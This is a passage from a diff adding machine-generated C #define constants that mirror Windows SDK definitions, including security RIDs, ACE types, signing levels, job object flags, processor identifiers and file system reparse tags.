DOMAIN_GROUP_RID_AUTHORIZATION_DATA_IS_COMPOUNDED 496 +#define DOMAIN_GROUP_RID_AUTHORIZATION_DATA_CONTAINS_CLAIMS 497 +#define DOMAIN_GROUP_RID_ENTERPRISE_READONLY_DOMAIN_CONTROLLERS 498 +#define FOREST_USER_RID_MAX 499 +#define DOMAIN_USER_RID_ADMIN 500 +#define DOMAIN_USER_RID_GUEST 501 +#define DOMAIN_USER_RID_KRBTGT 502 +#define DOMAIN_USER_RID_DEFAULT_ACCOUNT 503 +#define DOMAIN_USER_RID_WDAG_ACCOUNT 504 +#define DOMAIN_USER_RID_MAX 999 +#define DOMAIN_GROUP_RID_ADMINS 512 +#define DOMAIN_GROUP_RID_USERS 513 +#define DOMAIN_GROUP_RID_GUESTS 514 +#define DOMAIN_GROUP_RID_COMPUTERS 515 +#define DOMAIN_GROUP_RID_CONTROLLERS 516 +#define DOMAIN_GROUP_RID_CERT_ADMINS 517 +#define DOMAIN_GROUP_RID_SCHEMA_ADMINS 518 +#define DOMAIN_GROUP_RID_ENTERPRISE_ADMINS 519 +#define DOMAIN_GROUP_RID_POLICY_ADMINS 520 +#define DOMAIN_GROUP_RID_READONLY_CONTROLLERS 521 +#define DOMAIN_GROUP_RID_CLONEABLE_CONTROLLERS 522 +#define DOMAIN_GROUP_RID_CDC_RESERVED 524 +#define DOMAIN_GROUP_RID_PROTECTED_USERS 525 +#define DOMAIN_GROUP_RID_KEY_ADMINS 526 +#define DOMAIN_GROUP_RID_ENTERPRISE_KEY_ADMINS 527 +#define DOMAIN_GROUP_RID_FOREST_TRUSTS 528 +#define DOMAIN_GROUP_RID_EXTERNAL_TRUSTS 529 +#define DOMAIN_ALIAS_RID_ADMINS 544 +#define DOMAIN_ALIAS_RID_USERS 545 +#define DOMAIN_ALIAS_RID_GUESTS 546 +#define DOMAIN_ALIAS_RID_POWER_USERS 547 +#define DOMAIN_ALIAS_RID_ACCOUNT_OPS 548 +#define DOMAIN_ALIAS_RID_SYSTEM_OPS 549 +#define DOMAIN_ALIAS_RID_PRINT_OPS 550 +#define DOMAIN_ALIAS_RID_BACKUP_OPS 551 +#define DOMAIN_ALIAS_RID_REPLICATOR 552 +#define DOMAIN_ALIAS_RID_RAS_SERVERS 553 +#define DOMAIN_ALIAS_RID_PREW2KCOMPACCESS 554 +#define DOMAIN_ALIAS_RID_REMOTE_DESKTOP_USERS 555 +#define DOMAIN_ALIAS_RID_NETWORK_CONFIGURATION_OPS 556 +#define DOMAIN_ALIAS_RID_INCOMING_FOREST_TRUST_BUILDERS 557 +#define DOMAIN_ALIAS_RID_MONITORING_USERS 558 +#define DOMAIN_ALIAS_RID_LOGGING_USERS 559 +#define DOMAIN_ALIAS_RID_AUTHORIZATIONACCESS 560 +#define DOMAIN_ALIAS_RID_TS_LICENSE_SERVERS 561 +#define DOMAIN_ALIAS_RID_DCOM_USERS 562 +#define DOMAIN_ALIAS_RID_IUSERS 568 +#define DOMAIN_ALIAS_RID_CRYPTO_OPERATORS 569 +#define DOMAIN_ALIAS_RID_CACHEABLE_PRINCIPALS_GROUP 571 +#define DOMAIN_ALIAS_RID_NON_CACHEABLE_PRINCIPALS_GROUP 572 +#define DOMAIN_ALIAS_RID_EVENT_LOG_READERS_GROUP 573 +#define DOMAIN_ALIAS_RID_CERTSVC_DCOM_ACCESS_GROUP 574 +#define DOMAIN_ALIAS_RID_RDS_REMOTE_ACCESS_SERVERS 575 +#define DOMAIN_ALIAS_RID_RDS_ENDPOINT_SERVERS 576 +#define DOMAIN_ALIAS_RID_RDS_MANAGEMENT_SERVERS 577 +#define DOMAIN_ALIAS_RID_HYPER_V_ADMINS 578 +#define DOMAIN_ALIAS_RID_ACCESS_CONTROL_ASSISTANCE_OPS 579 +#define DOMAIN_ALIAS_RID_REMOTE_MANAGEMENT_USERS 580 +#define DOMAIN_ALIAS_RID_DEFAULT_ACCOUNT 581 +#define DOMAIN_ALIAS_RID_STORAGE_REPLICA_ADMINS 582 +#define DOMAIN_ALIAS_RID_DEVICE_OWNERS 583 +#define DOMAIN_ALIAS_RID_USER_MODE_HARDWARE_OPERATORS 584 +#define DOMAIN_ALIAS_RID_OPENSSH_USERS 585 +#define SECURITY_APP_PACKAGE_BASE_RID 2 +#define SECURITY_BUILTIN_APP_PACKAGE_RID_COUNT 2 +#define SECURITY_APP_PACKAGE_RID_COUNT 8 +#define SECURITY_CAPABILITY_BASE_RID 3 +#define SECURITY_CAPABILITY_APP_RID 1024 +#define SECURITY_CAPABILITY_APP_SILO_RID 65536 +#define SECURITY_BUILTIN_CAPABILITY_RID_COUNT 2 +#define SECURITY_CAPABILITY_RID_COUNT 5 +#define SECURITY_PARENT_PACKAGE_RID_COUNT 8 +#define SECURITY_CHILD_PACKAGE_RID_COUNT 12 +#define SECURITY_BUILTIN_PACKAGE_ANY_PACKAGE 1 +#define SECURITY_BUILTIN_PACKAGE_ANY_RESTRICTED_PACKAGE 2 +#define SECURITY_CAPABILITY_INTERNET_CLIENT 1 +#define SECURITY_CAPABILITY_INTERNET_CLIENT_SERVER 2 +#define SECURITY_CAPABILITY_PRIVATE_NETWORK_CLIENT_SERVER 3 +#define SECURITY_CAPABILITY_PICTURES_LIBRARY 4 +#define SECURITY_CAPABILITY_VIDEOS_LIBRARY 5 +#define SECURITY_CAPABILITY_MUSIC_LIBRARY 6 +#define SECURITY_CAPABILITY_DOCUMENTS_LIBRARY 7 +#define SECURITY_CAPABILITY_ENTERPRISE_AUTHENTICATION 8 +#define SECURITY_CAPABILITY_SHARED_USER_CERTIFICATES 9 +#define SECURITY_CAPABILITY_REMOVABLE_STORAGE 10 +#define SECURITY_CAPABILITY_APPOINTMENTS 11 +#define SECURITY_CAPABILITY_CONTACTS 12 +#define SECURITY_CAPABILITY_INTERNET_EXPLORER 4096 +#define SECURITY_MANDATORY_UNTRUSTED_RID 0 +#define SECURITY_MANDATORY_LOW_RID 4096 +#define SECURITY_MANDATORY_MEDIUM_RID 8192 +#define SECURITY_MANDATORY_MEDIUM_PLUS_RID 0x2100 +#define SECURITY_MANDATORY_HIGH_RID 12288 +#define SECURITY_MANDATORY_SYSTEM_RID 16384 +#define SECURITY_MANDATORY_PROTECTED_PROCESS_RID 20480 +#define SECURITY_MANDATORY_MEDIUM_PLUS_CREDUI_RID 0x200a +#define SECURITY_MANDATORY_MAXIMUM_USER_RID 16384 +#define SECURITY_AUTHENTICATION_AUTHORITY_RID_COUNT 1 +#define SECURITY_AUTHENTICATION_AUTHORITY_ASSERTED_RID 1 +#define SECURITY_AUTHENTICATION_SERVICE_ASSERTED_RID 2 +#define SECURITY_AUTHENTICATION_FRESH_KEY_AUTH_RID 3 +#define SECURITY_AUTHENTICATION_KEY_TRUST_RID 4 +#define SECURITY_AUTHENTICATION_KEY_PROPERTY_MFA_RID 5 +#define SECURITY_AUTHENTICATION_KEY_PROPERTY_ATTESTATION_RID 6 +#define SECURITY_PROCESS_TRUST_AUTHORITY_RID_COUNT 2 +#define SECURITY_PROCESS_PROTECTION_TYPE_FULL_RID 1024 +#define SECURITY_PROCESS_PROTECTION_TYPE_LITE_RID 512 +#define SECURITY_PROCESS_PROTECTION_TYPE_NONE_RID 0 +#define SECURITY_PROCESS_PROTECTION_LEVEL_WINTCB_RID 8192 +#define SECURITY_PROCESS_PROTECTION_LEVEL_WINDOWS_RID 4096 +#define SECURITY_PROCESS_PROTECTION_LEVEL_APP_RID 2048 +#define SECURITY_PROCESS_PROTECTION_LEVEL_ANTIMALWARE_RID 1536 +#define SECURITY_PROCESS_PROTECTION_LEVEL_AUTHENTICODE_RID 1024 +#define SECURITY_PROCESS_PROTECTION_LEVEL_NONE_RID 0 +#define SECURITY_TRUSTED_INSTALLER_RID1 0x38fb89b5 +#define SECURITY_TRUSTED_INSTALLER_RID2 0xcbc28419 +#define SECURITY_TRUSTED_INSTALLER_RID3 0x6d236c5c +#define SECURITY_TRUSTED_INSTALLER_RID4 0x6e770057 +#define SECURITY_TRUSTED_INSTALLER_RID5 0x876402c0 +#define SE_GROUP_MANDATORY 1 +#define SE_GROUP_ENABLED_BY_DEFAULT 2 +#define SE_GROUP_ENABLED 4 +#define SE_GROUP_OWNER 8 +#define SE_GROUP_USE_FOR_DENY_ONLY 16 +#define SE_GROUP_INTEGRITY 32 +#define SE_GROUP_INTEGRITY_ENABLED 64 +#define SE_GROUP_LOGON_ID -1073741824 +#define SE_GROUP_RESOURCE 536870912 +#define ACL_REVISION1 0x1 +#define ACL_REVISION2 0x2 +#define ACL_REVISION3 0x3 +#define ACL_REVISION4 0x4 +#define MAX_ACL_REVISION 0x4 +#define ACCESS_MIN_MS_ACE_TYPE 0x0 +#define ACCESS_ALLOWED_ACE_TYPE 0x0 +#define ACCESS_DENIED_ACE_TYPE 0x1 +#define SYSTEM_AUDIT_ACE_TYPE 0x2 +#define SYSTEM_ALARM_ACE_TYPE 0x3 +#define ACCESS_MAX_MS_V2_ACE_TYPE 0x3 +#define ACCESS_ALLOWED_COMPOUND_ACE_TYPE 0x4 +#define ACCESS_MAX_MS_V3_ACE_TYPE 0x4 +#define ACCESS_MIN_MS_OBJECT_ACE_TYPE 0x5 +#define ACCESS_ALLOWED_OBJECT_ACE_TYPE 0x5 +#define ACCESS_DENIED_OBJECT_ACE_TYPE 0x6 +#define SYSTEM_AUDIT_OBJECT_ACE_TYPE 0x7 +#define SYSTEM_ALARM_OBJECT_ACE_TYPE 0x8 +#define ACCESS_MAX_MS_OBJECT_ACE_TYPE 0x8 +#define ACCESS_MAX_MS_V4_ACE_TYPE 0x8 +#define ACCESS_MAX_MS_ACE_TYPE 0x8 +#define ACCESS_ALLOWED_CALLBACK_ACE_TYPE 0x9 +#define ACCESS_DENIED_CALLBACK_ACE_TYPE 0xa +#define ACCESS_ALLOWED_CALLBACK_OBJECT_ACE_TYPE 0xb +#define ACCESS_DENIED_CALLBACK_OBJECT_ACE_TYPE 0xc +#define SYSTEM_AUDIT_CALLBACK_ACE_TYPE 0xd +#define SYSTEM_ALARM_CALLBACK_ACE_TYPE 0xe +#define SYSTEM_AUDIT_CALLBACK_OBJECT_ACE_TYPE 0xf +#define SYSTEM_ALARM_CALLBACK_OBJECT_ACE_TYPE 0x10 +#define SYSTEM_MANDATORY_LABEL_ACE_TYPE 0x11 +#define SYSTEM_RESOURCE_ATTRIBUTE_ACE_TYPE 0x12 +#define SYSTEM_SCOPED_POLICY_ID_ACE_TYPE 0x13 +#define SYSTEM_PROCESS_TRUST_LABEL_ACE_TYPE 0x14 +#define SYSTEM_ACCESS_FILTER_ACE_TYPE 0x15 +#define ACCESS_MAX_MS_V5_ACE_TYPE 0x15 +#define VALID_INHERIT_FLAGS 0x1f +#define CRITICAL_ACE_FLAG 0x20 +#define TRUST_PROTECTED_FILTER_ACE_FLAG 0x40 +#define SYSTEM_MANDATORY_LABEL_NO_WRITE_UP 0x1 +#define SYSTEM_MANDATORY_LABEL_NO_READ_UP 0x2 +#define SYSTEM_MANDATORY_LABEL_NO_EXECUTE_UP 0x4 +#define SYSTEM_PROCESS_TRUST_LABEL_VALID_MASK 0xffffff +#define SYSTEM_PROCESS_TRUST_NOCONSTRAINT_MASK 0xffffffff +#define SYSTEM_ACCESS_FILTER_VALID_MASK 0xffffff +#define SYSTEM_ACCESS_FILTER_NOCONSTRAINT_MASK 0xffffffff +#define SECURITY_DESCRIPTOR_REVISION 0x1 +#define SECURITY_DESCRIPTOR_REVISION1 0x1 +#define ACCESS_OBJECT_GUID 0x0 +#define ACCESS_PROPERTY_SET_GUID 0x1 +#define ACCESS_PROPERTY_GUID 0x2 +#define ACCESS_MAX_LEVEL 0x4 +#define AUDIT_ALLOW_NO_PRIVILEGE 0x1 +// SKIPPED const ACCESS_DS_SOURCE_A: non-integer constant +// SKIPPED const ACCESS_DS_SOURCE_W: non-integer constant +// SKIPPED const ACCESS_DS_OBJECT_TYPE_NAME_A: non-integer constant +// SKIPPED const ACCESS_DS_OBJECT_TYPE_NAME_W: non-integer constant +#define PRIVILEGE_SET_ALL_NECESSARY 0x1 +#define ACCESS_REASON_TYPE_MASK 0xff0000 +#define ACCESS_REASON_DATA_MASK 0xffff +#define ACCESS_REASON_STAGING_MASK 0x80000000 +#define ACCESS_REASON_EXDATA_MASK 0x7f000000 +#define SE_SECURITY_DESCRIPTOR_FLAG_NO_OWNER_ACE 0x1 +#define SE_SECURITY_DESCRIPTOR_FLAG_NO_LABEL_ACE 0x2 +#define SE_SECURITY_DESCRIPTOR_FLAG_NO_ACCESS_FILTER_ACE 0x4 +#define SE_SECURITY_DESCRIPTOR_VALID_FLAGS 0x7 +#define SE_ACCESS_CHECK_FLAG_NO_LEARNING_MODE_LOGGING 0x8 +#define SE_ACCESS_CHECK_VALID_FLAGS 0x8 +// SKIPPED const SE_ACTIVATE_AS_USER_CAPABILITY: non-integer constant +// SKIPPED const SE_CONSTRAINED_IMPERSONATION_CAPABILITY: non-integer constant +// SKIPPED const SE_SESSION_IMPERSONATION_CAPABILITY: non-integer constant +// SKIPPED const SE_MUMA_CAPABILITY: non-integer constant +// SKIPPED const SE_DEVELOPMENT_MODE_NETWORK_CAPABILITY: non-integer constant +// SKIPPED const SE_LEARNING_MODE_LOGGING_CAPABILITY: non-integer constant +// SKIPPED const SE_PERMISSIVE_LEARNING_MODE_CAPABILITY: non-integer constant +// SKIPPED const SE_APP_SILO_VOLUME_ROOT_MINIMAL_CAPABILITY: non-integer constant +// SKIPPED const SE_APP_SILO_PROFILES_ROOT_MINIMAL_CAPABILITY: non-integer constant +// SKIPPED const SE_APP_SILO_USER_PROFILE_MINIMAL_CAPABILITY: non-integer constant +// SKIPPED const SE_APP_SILO_PROMPT_FOR_ACCESS_CAPABILITY: non-integer constant +// SKIPPED const SE_APP_SILO_ACCESS_TO_PUBLISHER_DIRECTORY_CAPABILITY: non-integer constant +// SKIPPED const SE_APP_SILO_PRINT_CAPABILITY: non-integer constant +#define POLICY_AUDIT_SUBCATEGORY_COUNT 0x3c +#define TOKEN_SOURCE_LENGTH 0x8 +#define CLAIM_SECURITY_ATTRIBUTE_TYPE_INVALID 0x0 +#define CLAIM_SECURITY_ATTRIBUTE_CUSTOM_FLAGS 0xffff0000 +#define CLAIM_SECURITY_ATTRIBUTES_INFORMATION_VERSION_V1 0x1 +#define CLAIM_SECURITY_ATTRIBUTES_INFORMATION_VERSION 0x1 +#define PROCESS_TRUST_LABEL_SECURITY_INFORMATION 128 +#define ACCESS_FILTER_SECURITY_INFORMATION 256 +#define SE_SIGNING_LEVEL_UNCHECKED 0x0 +#define SE_SIGNING_LEVEL_UNSIGNED 0x1 +#define SE_SIGNING_LEVEL_ENTERPRISE 0x2 +#define SE_SIGNING_LEVEL_CUSTOM_1 0x3 +#define SE_SIGNING_LEVEL_DEVELOPER 0x3 +#define SE_SIGNING_LEVEL_AUTHENTICODE 0x4 +#define SE_SIGNING_LEVEL_CUSTOM_2 0x5 +#define SE_SIGNING_LEVEL_STORE 0x6 +#define SE_SIGNING_LEVEL_CUSTOM_3 0x7 +#define SE_SIGNING_LEVEL_ANTIMALWARE 0x7 +#define SE_SIGNING_LEVEL_MICROSOFT 0x8 +#define SE_SIGNING_LEVEL_CUSTOM_4 0x9 +#define SE_SIGNING_LEVEL_CUSTOM_5 0xa +#define SE_SIGNING_LEVEL_DYNAMIC_CODEGEN 0xb +#define SE_SIGNING_LEVEL_WINDOWS 0xc +#define SE_SIGNING_LEVEL_CUSTOM_7 0xd +#define SE_SIGNING_LEVEL_WINDOWS_TCB 0xe +#define SE_SIGNING_LEVEL_CUSTOM_6 0xf +#define JOB_OBJECT_ASSIGN_PROCESS 0x1 +#define JOB_OBJECT_SET_ATTRIBUTES 0x2 +#define JOB_OBJECT_QUERY 0x4 +#define JOB_OBJECT_TERMINATE 0x8 +#define JOB_OBJECT_SET_SECURITY_ATTRIBUTES 0x10 +#define JOB_OBJECT_IMPERSONATE 0x20 +#define FLS_MAXIMUM_AVAILABLE 0xff0 +#define TLS_MINIMUM_AVAILABLE 0x40 +#define THREAD_DYNAMIC_CODE_ALLOW 0x1 +#define THREAD_BASE_PRIORITY_LOWRT 0xf +#define THREAD_BASE_PRIORITY_MAX 0x2 +#define THREAD_BASE_PRIORITY_MIN -2 +#define THREAD_BASE_PRIORITY_IDLE -15 +#define COMPONENT_KTM 0x1 +#define COMPONENT_VALID_FLAGS 0x1 +#define MEMORY_PRIORITY_LOWEST 0x0 +#define DYNAMIC_EH_CONTINUATION_TARGET_ADD 0x1 +#define DYNAMIC_EH_CONTINUATION_TARGET_PROCESSED 0x2 +#define DYNAMIC_ENFORCED_ADDRESS_RANGE_ADD 0x1 +#define DYNAMIC_ENFORCED_ADDRESS_RANGE_PROCESSED 0x2 +#define QUOTA_LIMITS_USE_DEFAULT_LIMITS 0x10 +#define MAX_HW_COUNTERS 0x10 +#define THREAD_PROFILING_FLAG_DISPATCH 0x1 +#define JOB_OBJECT_NET_RATE_CONTROL_MAX_DSCP_TAG 0x40 +#define JOB_OBJECT_MSG_END_OF_JOB_TIME 0x1 +#define JOB_OBJECT_MSG_END_OF_PROCESS_TIME 0x2 +#define JOB_OBJECT_MSG_ACTIVE_PROCESS_LIMIT 0x3 +#define JOB_OBJECT_MSG_ACTIVE_PROCESS_ZERO 0x4 +#define JOB_OBJECT_MSG_NEW_PROCESS 0x6 +#define JOB_OBJECT_MSG_EXIT_PROCESS 0x7 +#define JOB_OBJECT_MSG_ABNORMAL_EXIT_PROCESS 0x8 +#define JOB_OBJECT_MSG_PROCESS_MEMORY_LIMIT 0x9 +#define JOB_OBJECT_MSG_JOB_MEMORY_LIMIT 0xa +#define JOB_OBJECT_MSG_NOTIFICATION_LIMIT 0xb +#define JOB_OBJECT_MSG_JOB_CYCLE_TIME_LIMIT 0xc +#define JOB_OBJECT_MSG_SILO_TERMINATED 0xd +#define JOB_OBJECT_MSG_MINIMUM 0x1 +#define JOB_OBJECT_MSG_MAXIMUM 0xd +#define JOB_OBJECT_UILIMIT_IME 0x100 +#define JOB_OBJECT_UILIMIT_INJECTION 0x200 +#define JOB_OBJECT_UILIMIT_ALL 0x3ff +#define JOB_OBJECT_UI_VALID_FLAGS 0x3ff +#define JOB_OBJECT_CPU_RATE_CONTROL_PER_PROCESSOR_CAPS 0x20 +#define MEMORY_PARTITION_QUERY_ACCESS 0x1 +#define MEMORY_PARTITION_MODIFY_ACCESS 0x2 +#define MUTANT_QUERY_STATE 0x1 +#define TIME_ZONE_ID_UNKNOWN 0x0 +#define TIME_ZONE_ID_STANDARD 0x1 +#define TIME_ZONE_ID_DAYLIGHT 0x2 +#define LTP_PC_SMT 0x1 +#define CACHE_FULLY_ASSOCIATIVE 0xff +#define PROCESSOR_INTEL_386 0x182 +#define PROCESSOR_INTEL_486 0x1e6 +#define PROCESSOR_INTEL_PENTIUM 0x24a +#define PROCESSOR_INTEL_IA64 0x898 +#define PROCESSOR_AMD_X8664 0x21d8 +#define PROCESSOR_MIPS_R4000 0xfa0 +#define PROCESSOR_ALPHA_21064 0x5248 +#define PROCESSOR_PPC_601 0x259 +#define PROCESSOR_PPC_603 0x25b +#define PROCESSOR_PPC_604 0x25c +#define PROCESSOR_PPC_620 0x26c +#define PROCESSOR_HITACHI_SH3 0x2713 +#define PROCESSOR_HITACHI_SH3E 0x2714 +#define PROCESSOR_HITACHI_SH4 0x2715 +#define PROCESSOR_MOTOROLA_821 0x335 +#define PROCESSOR_SHx_SH3 0x67 +#define PROCESSOR_SHx_SH4 0x68 +#define PROCESSOR_STRONGARM 0xa11 +#define PROCESSOR_ARM720 0x720 +#define PROCESSOR_ARM820 0x820 +#define PROCESSOR_ARM920 0x920 +#define PROCESSOR_ARM_7TDMI 0x11171 +#define PROCESSOR_OPTIL 0x494f +#define XSTATE_LEGACY_FLOATING_POINT 0x0 +#define XSTATE_LEGACY_SSE 0x1 +#define XSTATE_GSSE 0x2 +#define XSTATE_AVX 0x2 +#define XSTATE_MPX_BNDREGS 0x3 +#define XSTATE_MPX_BNDCSR 0x4 +#define XSTATE_AVX512_KMASK 0x5 +#define XSTATE_AVX512_ZMM_H 0x6 +#define XSTATE_AVX512_ZMM 0x7 +#define XSTATE_IPT 0x8 +#define XSTATE_PASID 0xa +#define XSTATE_CET_U 0xb +#define XSTATE_CET_S 0xc +#define XSTATE_AMX_TILE_CONFIG 0x11 +#define XSTATE_AMX_TILE_DATA 0x12 +#define XSTATE_LWP 0x3e +#define MAXIMUM_XSTATE_FEATURES 0x40 +#define XSTATE_ARM64_SVE 0x2 +#define XSTATE_FIRST_NON_LEGACY_FEATURE 0x2 +#define XSTATE_COMPACTION_ENABLE 0x3f +#define XSTATE_ALIGN_BIT 0x1 +#define XSTATE_XFD_BIT 0x2 +#define XSTATE_CONTROLFLAG_XSAVEOPT_MASK 0x1 +#define XSTATE_CONTROLFLAG_XSAVEC_MASK 0x2 +#define XSTATE_CONTROLFLAG_XFD_MASK 0x4 +#define RUNTIME_REPORT_PACKAGE_MAGIC 0x52545250 +#define RUNTIME_REPORT_PACKAGE_VERSION_CURRENT 0x1 +#define RUNTIME_REPORT_NONCE_SIZE 0x20 +#define RUNTIME_REPORT_DIGEST_MAX_SIZE 0x40 +#define RUNTIME_REPORT_SIGNATURE_SCHEME_SHA512_RSA_PSS_SHA512 0x1 +#define DRIVER_REPORT_DIGEST_MAX_SIZE 0x40 +#define DRIVER_REPORT_NAME_MAX_LENGTH 0x20 +#define CFG_CALL_TARGET_VALID 0x1 +#define CFG_CALL_TARGET_PROCESSED 0x2 +#define CFG_CALL_TARGET_CONVERT_EXPORT_SUPPRESSED_TO_VALID 0x4 +#define CFG_CALL_TARGET_VALID_XFG 0x8 +#define CFG_CALL_TARGET_CONVERT_XFG_TO_CFG 0x10 +#define SESSION_QUERY_ACCESS 0x1 +#define SESSION_MODIFY_ACCESS 0x2 +#define MEM_TOP_DOWN 0x100000 +#define MEM_WRITE_WATCH 0x200000 +#define MEM_PHYSICAL 0x400000 +#define MEM_ROTATE 0x800000 +#define MEM_DIFFERENT_IMAGE_BASE_OK 0x800000 +#define MEM_4MB_PAGES 0x80000000 +#define MEM_COALESCE_PLACEHOLDERS 0x1 +#define MEM_EXTENDED_PARAMETER_GRAPHICS 0x1 +#define MEM_EXTENDED_PARAMETER_NONPAGED 0x2 +#define MEM_EXTENDED_PARAMETER_ZERO_PAGES_OPTIONAL 0x4 +#define MEM_EXTENDED_PARAMETER_NONPAGED_LARGE 0x8 +#define MEM_EXTENDED_PARAMETER_NONPAGED_HUGE 0x10 +#define MEM_EXTENDED_PARAMETER_SOFT_FAULT_PAGES 0x20 +#define MEM_EXTENDED_PARAMETER_EC_CODE 0x40 +#define MEM_EXTENDED_PARAMETER_TYPE_BITS 0x8 +#define SEC_HUGE_PAGES 0x20000 +#define WRITE_WATCH_FLAG_RESET 0x1 +#define VM_PREFETCH_TO_WORKING_SET 0x1 +#define ENCLAVE_TYPE_SGX 0x1 +#define ENCLAVE_TYPE_SGX2 0x2 +#define ENCLAVE_TYPE_VBS 0x10 +#define ENCLAVE_VBS_FLAG_DEBUG 0x1 +#define ENCLAVE_TYPE_VBS_BASIC 0x11 +#define VBS_BASIC_PAGE_MEASURED_DATA 0x1 +#define VBS_BASIC_PAGE_UNMEASURED_DATA 0x2 +#define VBS_BASIC_PAGE_ZERO_FILL 0x3 +#define VBS_BASIC_PAGE_THREAD_DESCRIPTOR 0x4 +#define VBS_BASIC_PAGE_SYSTEM_CALL 0x5 +#define DEDICATED_MEMORY_CACHE_ELIGIBLE 0x1 +#define TREE_CONNECT_ATTRIBUTE_PRIVACY 0x4000 +#define TREE_CONNECT_ATTRIBUTE_INTEGRITY 0x8000 +#define TREE_CONNECT_ATTRIBUTE_GLOBAL 0x4 +#define TREE_CONNECT_ATTRIBUTE_PINNED 0x2 +#define FILE_ATTRIBUTE_STRICTLY_SEQUENTIAL 0x20000000 +#define MAILSLOT_NO_MESSAGE 0xffffffff +#define MAILSLOT_WAIT_FOREVER 0xffffffff +#define FILE_CASE_SENSITIVE_SEARCH 0x1 +#define FILE_CASE_PRESERVED_NAMES 0x2 +#define FILE_UNICODE_ON_DISK 0x4 +#define FILE_PERSISTENT_ACLS 0x8 +#define FILE_FILE_COMPRESSION 0x10 +#define FILE_VOLUME_QUOTAS 0x20 +#define FILE_SUPPORTS_SPARSE_FILES 0x40 +#define FILE_SUPPORTS_REPARSE_POINTS 0x80 +#define FILE_SUPPORTS_REMOTE_STORAGE 0x100 +#define FILE_RETURNS_CLEANUP_RESULT_INFO 0x200 +#define FILE_SUPPORTS_POSIX_UNLINK_RENAME 0x400 +#define FILE_SUPPORTS_BYPASS_IO 0x800 +#define FILE_SUPPORTS_STREAM_SNAPSHOTS 0x1000 +#define FILE_SUPPORTS_CASE_SENSITIVE_DIRS 0x2000 +#define FILE_VOLUME_IS_COMPRESSED 0x8000 +#define FILE_SUPPORTS_OBJECT_IDS 0x10000 +#define FILE_SUPPORTS_ENCRYPTION 0x20000 +#define FILE_NAMED_STREAMS 0x40000 +#define FILE_READ_ONLY_VOLUME 0x80000 +#define FILE_SEQUENTIAL_WRITE_ONCE 0x100000 +#define FILE_SUPPORTS_TRANSACTIONS 0x200000 +#define FILE_SUPPORTS_HARD_LINKS 0x400000 +#define FILE_SUPPORTS_EXTENDED_ATTRIBUTES 0x800000 +#define FILE_SUPPORTS_OPEN_BY_FILE_ID 0x1000000 +#define FILE_SUPPORTS_USN_JOURNAL 0x2000000 +#define FILE_SUPPORTS_INTEGRITY_STREAMS 0x4000000 +#define FILE_SUPPORTS_BLOCK_REFCOUNTING 0x8000000 +#define FILE_SUPPORTS_SPARSE_VDL 0x10000000 +#define FILE_DAX_VOLUME 0x20000000 +#define FILE_SUPPORTS_GHOSTING 0x40000000 +#define FILE_NAME_FLAG_HARDLINK 0x0 +#define FILE_NAME_FLAG_NTFS 0x1 +#define FILE_NAME_FLAG_DOS 0x2 +#define FILE_NAME_FLAG_BOTH 0x3 +#define FILE_NAME_FLAGS_UNSPECIFIED 0x80 +#define LX_FILE_METADATA_HAS_UID 0x1 +#define LX_FILE_METADATA_HAS_GID 0x2 +#define LX_FILE_METADATA_HAS_MODE 0x4 +#define LX_FILE_METADATA_HAS_DEVICE_ID 0x8 +#define LX_FILE_CASE_SENSITIVE_DIR 0x10 +#define FILE_CS_FLAG_CASE_SENSITIVE_DIR 0x1 +#define FLUSH_FLAGS_FILE_DATA_ONLY 0x1 +#define FLUSH_FLAGS_NO_SYNC 0x2 +#define FLUSH_FLAGS_FILE_DATA_SYNC_ONLY 0x4 +#define FLUSH_FLAGS_FLUSH_AND_PURGE 0x8 +#define IO_REPARSE_TAG_RESERVED_ZERO 0x0 +#define IO_REPARSE_TAG_RESERVED_ONE 0x1 +#define IO_REPARSE_TAG_RESERVED_TWO 0x2 +#define IO_REPARSE_TAG_RESERVED_RANGE 0x2 +#define IO_REPARSE_TAG_RESERVED_INVALID -1073709056 +#define IO_REPARSE_TAG_MOUNT_POINT 0xa0000003 +#define IO_REPARSE_TAG_HSM 0xc0000004 +#define IO_REPARSE_TAG_HSM2 0x80000006 +#define IO_REPARSE_TAG_SIS 0x80000007 +#define IO_REPARSE_TAG_WIM 0x80000008 +#define IO_REPARSE_TAG_CSV 0x80000009 +#define IO_REPARSE_TAG_DFS 0x8000000a +#define IO_REPARSE_TAG_SYMLINK 0xa000000c +#define IO_REPARSE_TAG_DFSR 0x80000012 +#define IO_REPARSE_TAG_DEDUP 0x80000013 +#define IO_REPARSE_TAG_NFS 0x80000014 +#define IO_REPARSE_TAG_FILE_PLACEHOLDER 0x80000015 +#define IO_REPARSE_TAG_WOF 0x80000017 +#define IO_REPARSE_TAG_WCI 0x80000018 +#define IO_REPARSE_TAG_WCI_1 0x90001018 +#define IO_REPARSE_TAG_GLOBAL_REPARSE 0xa0000019 +#define IO_REPARSE_TAG_CLOUD 0x9000001a +#define IO_REPARSE_TAG_CLOUD_1 0x9000101a +#define IO_REPARSE_TAG_CLOUD_2 0x9000201a +#define IO_REPARSE_TAG_CLOUD_3 0x9000301a +#define IO_REPARSE_TAG_CLOUD_4 0x9000401a +#define IO_REPARSE_TAG_CLOUD_5 0x9000501a +#define IO_REPARSE_TAG_CLOUD_6 0x9000601a +#define IO_REPARSE_TAG_CLOUD_7 0x9000701a +#define IO_REPARSE_TAG_CLOUD_8 0x9000801a +#define IO_REPARSE_TAG_CLOUD_9 0x9000901a +#define IO_REPARSE_TAG_CLOUD_A 0x9000a01a +#define IO_REPARSE_TAG_CLOUD_B 0x9000b01a +#define IO_REPARSE_TAG_CLOUD_C 0x9000c01a +#define IO_REPARSE_TAG_CLOUD_D 0x9000d01a +#define IO_REPARSE_TAG_CLOUD_E 0x9000e01a +#define IO_REPARSE_TAG_CLOUD_F 0x9000f01a +#define IO_REPARSE_TAG_CLOUD_MASK 0xf000 +#define IO_REPARSE_TAG_APPEXECLINK 0x8000001b +#define IO_REPARSE_TAG_PROJFS 0x9000001c +#define IO_REPARSE_TAG_STORAGE_SYNC 0x8000001e +#define IO_REPARSE_TAG_WCI_TOMBSTONE 0xa000001f +#define IO_REPARSE_TAG_UNHANDLED 0x80000020 +#define IO_REPARSE_TAG_ONEDRIVE 0x80000021 +#define IO_REPARSE_TAG_PROJFS_TOMBSTONE 0xa0000022 +#define IO_REPARSE_TAG_AF_UNIX 0x80000023 +#define IO_REPARSE_TAG_STORAGE_SYNC_FOLDER -1879048153 +#define IO_REPARSE_TAG_WCI_LINK 0xa0000027 +#define IO_REPARSE_TAG_WCI_LINK_1 0xa0001027 +#define IO_REPARSE_TAG_DATALESS_CIM 0xa0000028 +#define SCRUB_DATA_INPUT_FLAG_RESUME 0x1 +#define 